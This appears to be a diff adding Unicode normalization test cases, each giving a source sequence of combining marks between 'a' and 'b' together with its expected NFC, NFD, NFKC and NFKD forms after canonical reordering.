+{ source: [0x0061, 0x0E38, 0x0C56, 0x0C55, 0x0C56, 0x0062], NFC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062] },
+{ source: [0x0061, 0x0C56, 0x0E38, 0x0C56, 0x0C55, 0x0062], NFC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKC: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062], NFKD: [0x0061, 0x0C55, 0x0C56, 0x0C56, 0x0E38, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x0CBC, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x0CBC, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x0CBC, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x0CBC, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x0CBC, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0CBC, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x0CBC, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x0CBC, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x0CBC, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x0CBC, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0CCD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0CCD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0CCD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0CCD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0D3B, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0D3B, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0D3B, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0D3B, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0D3B, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0D3B, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0D3B, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0D3B, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0D3B, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0D3B, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0D3C, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0D3C, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0D3C, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0D3C, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0D3C, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0D3C, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0D3C, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0D3C, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0D3C, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0D3C, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0D4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0D4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0D4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0D4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0DCA, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0DCA, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0DCA, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0DCA, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0E48, 0x0E38, 0x0C56, 0x0E38, 0x0062], NFC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x0E38, 0x0E48, 0x0E38, 0x0C56, 0x0062], NFC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E38, 0x0E38, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x0E48, 0x0E38, 0x0C56, 0x0E39, 0x0062], NFC: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E38, 0x0E39, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x0E39, 0x0E48, 0x0E38, 0x0C56, 0x0062], NFC: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062], NFD: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062], NFKC: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062], NFKD: [0x0061, 0x0C56, 0x0E39, 0x0E38, 0x0E48, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0E3A, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0E3A, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0E3A, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0E3A, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E48, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E48, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E49, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E49, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E49, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E49, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E4A, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E4A, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E4A, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E4A, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0E48, 0x0E38, 0x0E4B, 0x0062], NFC: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E48, 0x0E4B, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0E4B, 0x0EB8, 0x0E48, 0x0E38, 0x0062], NFC: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062], NFD: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062], NFKC: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062], NFKD: [0x0061, 0x0E38, 0x0E4B, 0x0E48, 0x0EB8, 0x0062] },
+{ source: [0x0061, 0x0EC8, 0x0EB8, 0x0E48, 0x0EB8, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x0EB8, 0x0EC8, 0x0EB8, 0x0E48, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB8, 0x0EB8, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x0EC8, 0x0EB8, 0x0E48, 0x0EB9, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB8, 0x0EB9, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x0EB9, 0x0EC8, 0x0EB8, 0x0E48, 0x0062], NFC: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062], NFD: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062], NFKC: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062], NFKD: [0x0061, 0x0E48, 0x0EB9, 0x0EB8, 0x0EC8, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0EBA, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0EBA, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0EBA, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0EBA, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0EBA, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0EBA, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0EBA, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0EBA, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0EBA, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0EBA, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0EC8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0EC8, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0EC9, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0EC9, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0EC9, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC9, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0ECA, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECA, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0ECA, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0ECA, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0EC8, 0x0EB8, 0x0ECB, 0x0062], NFC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0EC8, 0x0ECB, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x0ECB, 0x0F71, 0x0EC8, 0x0EB8, 0x0062], NFC: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062], NFD: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062], NFKC: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062], NFKD: [0x0061, 0x0EB8, 0x0ECB, 0x0EC8, 0x0F71, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0F18, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0F18, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0F18, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0F18, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0F18, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0F18, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0F18, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0F18, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0F18, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0F18, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0F19, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0F19, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0F19, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0F19, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0F19, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0F19, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0F19, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0F19, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0F19, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0F19, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0F35, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0F35, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0F35, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0F35, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0F35, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0F35, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0F35, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0F35, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0F35, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0F35, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0F37, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0F37, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0F37, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0F37, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0F37, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0F37, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0F37, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0F37, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0F37, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0F37, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x0F39, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x0F39, 0x302A, 0x0062] },
+{ source: [0x0061, 0x0F39, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x0F39, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x0F72, 0x0F71, 0x0EC8, 0x0F71, 0x0062], NFC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062] },
+{ source: [0x0061, 0x0F71, 0x0F72, 0x0F71, 0x0EC8, 0x0062], NFC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKC: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062], NFKD: [0x0061, 0x0EC8, 0x0F71, 0x0F71, 0x0F72, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F72, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F72, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0321, 0x0F74, 0x0F72, 0x0F74, 0x0062], NFC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0321, 0x0F74, 0x0F72, 0x0062], NFC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKC: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062], NFKD: [0x0061, 0x0F72, 0x0F74, 0x0F74, 0x0321, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7A, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7A, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7A, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7A, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7B, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7B, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7B, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7B, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7C, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7C, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7C, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7C, 0x0F72, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F74, 0x0F72, 0x0F71, 0x0F7D, 0x0062], NFC: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F72, 0x0F7D, 0x0F74, 0x0062] },
+{ source: [0x0061, 0x0F7D, 0x0F74, 0x0F72, 0x0F71, 0x0062], NFC: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062], NFD: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062], NFKC: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062], NFKD: [0x0061, 0x0F71, 0x0F7D, 0x0F72, 0x0F74, 0x0062] },
